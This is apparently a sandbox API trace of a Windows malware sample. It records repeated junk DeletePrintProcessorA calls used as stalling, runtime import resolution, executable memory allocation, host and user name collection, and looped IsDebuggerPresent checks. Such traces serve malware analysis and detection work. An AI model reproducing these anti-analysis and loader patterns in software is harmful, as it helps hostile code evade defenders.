[0057.405] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.405] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.406] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.406] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.406] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.406] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.406] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.406] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.407] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.407] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.407] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.407] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.407] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.407] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.407] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.407] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.408] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.408] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.408] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.408] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.408] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.408] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.408] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.408] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.409] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.409] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.409] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.409] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.409] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.409] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.410] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.410] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.410] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.410] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.410] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.410] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.410] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.411] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.411] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.411] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.411] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.411] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.411] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.411] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.412] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.412] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.412] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.412] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.412] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.412] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.412] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.413] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.413] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.413] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.413] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.413] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.413] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.413] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.414] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.414] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.414] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.414] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.414] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.414] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.414] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.414] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.415] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.415] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.415] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.415] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.415] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.415] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.416] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.416] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.416] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.416] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.416] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.416] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.417] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.417] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.417] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.417] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.417] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.417] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.417] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.418] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.418] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.418] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.418] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.418] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.418] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.418] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.419] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.419] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.419] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.419] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.419] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.419] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.419] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.420] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.420] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.420] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.420] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.420] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.420] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.420] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.420] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.421] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.421] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0057.426] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd10 | out: ProcedureAddress=0x12fd10*=0x763a2fb6) returned 0x0
[0057.426] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c0000
[0057.428] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd50 | out: ProcedureAddress=0x12fd50*=0x763a2fb6) returned 0x0
[0057.428] VirtualAlloc (lpAddress=0x0, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x40) returned 0x1d0000
[0057.429] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a395c) returned 0x0
[0057.429] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a33d3) returned 0x0
[0057.429] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a2fb6) returned 0x0
[0057.429] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x76392341) returned 0x0
[0057.429] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x7639db13) returned 0x0
[0057.429] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x775cf774) returned 0x0
[0057.429] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x7763ad2e) returned 0x0
[0057.429] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x775c0000
[0057.430] GetProcAddress (hModule=0x775c0000, lpProcName="cos") returned 0x77607400
[0057.430] GetProcAddress (hModule=0x775c0000, lpProcName="sin") returned 0x775f41c0
[0057.430] GetProcAddress (hModule=0x775c0000, lpProcName="strchr") returned 0x77607690
[0057.430] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76350000
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="LoadLibraryA") returned 0x763a395c
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="lstrcmpA") returned 0x76388c59
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="CreateFileA") returned 0x7639cee8
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="CloseHandle") returned 0x7639ca7c
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="GetModuleHandleA") returned 0x7639cf41
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="GetModuleFileNameA") returned 0x763a33f6
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="GetComputerNameA") returned 0x76386ba9
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="GetComputerNameExA") returned 0x763df41f
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="GetCommandLineA") returned 0x763a98ff
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="FreeConsole") returned 0x763fbfde
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="VirtualAlloc") returned 0x763a2fb6
[0057.430] GetProcAddress (hModule=0x76350000, lpProcName="IsDebuggerPresent") returned 0x76393ea8
[0057.430] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76030000
[0057.432] GetProcAddress (hModule=0x76030000, lpProcName="GetUserNameA") returned 0x7605a4b4
[0057.432] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x760e0000
[0057.434] GetProcAddress (hModule=0x760e0000, lpProcName="StrStrIA") returned 0x760ed250
[0057.434] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.434] IsDebuggerPresent () returned 0
[0057.434] IsDebuggerPresent () returned 0
[0057.434] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.435] IsDebuggerPresent () returned 0
[0057.436] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.436] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.437] IsDebuggerPresent () returned 0
[0057.438] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.438] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.439] IsDebuggerPresent () returned 0
[0057.439] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.440] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.441] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.442] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] IsDebuggerPresent () returned 0
[0057.443] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.443] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.444] IsDebuggerPresent () returned 0
[0057.445] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.445] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.446] IsDebuggerPresent () returned 0
[0057.446] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.447] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
[0057.448] IsDebuggerPresent () returned 0
